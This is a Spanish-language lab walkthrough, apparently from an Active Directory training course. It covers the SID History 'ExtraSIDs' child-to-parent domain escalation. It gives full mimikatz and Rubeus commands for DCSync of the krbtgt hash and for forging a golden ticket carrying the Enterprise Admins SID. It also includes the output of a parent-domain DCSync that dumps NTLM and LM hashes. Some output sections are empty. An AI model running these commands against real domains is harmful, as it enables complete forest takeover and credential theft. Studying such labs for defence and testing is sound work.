🧬 Introducción al SID History

🔐 Pero… un atacante puede inyectar SIDs abusando de este mecanismo.

⚠️ Abuso: SID History Injection

Esto habilita:

• 🟣 DCSync

• 🟣 Golden Ticket

• 🟣 Acceso total al dominio o bosque

🎭 ExtraSIDs Attack (Child ➝ Parent)

Este ataque explota que dentro del mismo bosque, NO se aplica SID Filtering, permitiendo usar SID history para elevar privilegios hacia el dominio raíz.

🎯 Requisitos del ataque

Necesitamos:

📍 Paso 1 — Obtener el hash del KRBTGT (DCSync)

mimikatz # lsadump::dcsync /user:LOGISTICS\krbtgt

Salida relevante:

Hash NTLM: 9d765b482771505cbe97411065964d5f

📍 Paso 2 — Obtener el SID del dominio hijo

Get-DomainSID

Salida:

📍 Paso 3 — Obtener SID de Enterprise Admins del dominio padre

Get-DomainGroup -Domain INLANEFREIGHT.LOCAL -Identity "Enterprise Admins" |
 select distinguishedname,objectsid

SID obtenido:

📍 Paso 4 — Validar que NO tenemos acceso antes del ataque

ls \\academy-ea-dc01.inlanefreight.local\c$

Resultado:

Access is denied

🛠️ Ataque: Golden Ticket con Mimikatz

`

kerberos::golden /user:hacker /domain:LOGISTICS.INLANEFREIGHT.LOCAL /sid:S-1-5-21-2806153819-209893948-922872689 /krbtgt:9d765b482771505cbe97411065964d5f /sids:S-1-5-21-3842939050-3880317879-2865463114-519 /ptt

Validar ticket cargado

klist

📁 Acceso logrado al dominio padre

ls \\academy-ea-dc01.inlanefreight.local\c$

Ahora sí muestra todo el disco C: del DC padre 😈.

🔁 ExtraSIDs Attack con Rubeus

Verificación previa:

ls \\academy-ea-dc01.inlanefreight.local\c$

Access denied.

Crear Golden Ticket

.\Rubeus.exe golden /rc4:9d765b482771505cbe97411065964d5f /domain:LOGISTICS.INLANEFREIGHT.LOCAL /sid:S-1-5-21-2806153819-209893948-922872689  /sids:S-1-5-21-3842939050-3880317879-2865463114-519 /user:hacker /ptt

Confirmar ticket:

klist

📤 DCSync en el dominio padre

PS C:\Tools\mimikatz\x64> .\mimikatz.exe

  .#####.   mimikatz 2.2.0 (x64) #19041 Aug 10 2021 17:19:53
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz # lsadump::dcsync /user:INLANEFREIGHT\lab_adm
[DC] 'INLANEFREIGHT.LOCAL' will be the domain
[DC] 'ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL' will be the DC server
[DC] 'INLANEFREIGHT\lab_adm' will be the user account
[rpc] Service  : ldap
[rpc] AuthnSvc : GSS_NEGOTIATE (9)

Object RDN           : lab_adm

** SAM ACCOUNT **

SAM Username         : lab_adm
Account Type         : 30000000 ( USER_OBJECT )
User Account Control : 00010200 ( NORMAL_ACCOUNT DONT_EXPIRE_PASSWD )
Account expiration   :
Password last change : 2/27/2022 10:53:21 PM
Object Security ID   : S-1-5-21-3842939050-3880317879-2865463114-1001
Object Relative ID   : 1001

Credentials:
  Hash NTLM: 663715a1a8b957e8e9943cc98ea451b6
    ntlm- 0: 663715a1a8b957e8e9943cc98ea451b6
    ntlm- 1: 663715a1a8b957e8e9943cc98ea451b6
    lm  - 0: 6053227db44e996fe16b107d9d1e95a0

Ejemplo con dominio explícito:

mimikatz # lsadump::dcsync /user:INLANEFREIGHT\lab_adm /domain:INLANEFREIGHT.LOCAL

[DC] 'INLANEFREIGHT.LOCAL' will be the domain
[DC] 'ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL' will be the DC server
[DC] 'INLANEFREIGHT\lab_adm' will be the user account
[rpc] Service  : ldap
[rpc] AuthnSvc : GSS_NEGOTIATE (9)

Object RDN           : lab_adm

** SAM ACCOUNT **

SAM Username         : lab_adm
Account Type         : 30000000 ( USER_OBJECT )
User Account Control : 00010200 ( NORMAL_ACCOUNT DONT_EXPIRE_PASSWD )
Account expiration   :
Password last change : 2/27/2022 10:53:21 PM
Object Security ID   : S-1-5-21-3842939050-3880317879-2865463114-1001
Object Relative ID   : 1001

Credentials:
  Hash NTLM: 663715a1a8b957e8e9943cc98ea451b6
    ntlm- 0: 663715a1a8b957e8e9943cc98ea451b6
    ntlm- 1: 663715a1a8b957e8e9943cc98ea451b6
    lm  - 0: 6053227db44e996fe16b107d9d1e95a0

🧠 Resumen en Mermaid (flujo del ataque)

flowchart TD A[Compromiso Child Domain] --> B[Conseguir KRBTGT Hash] B --> C[Conseguir SID dominio hijo] C --> D[Conseguir SID Enterprise Admins padre] D --> E[Crear Golden Ticket con ExtraSIDs] E --> F[Acceso Enterprise Admin en dominio padre] F --> G[DCSync dominio padre]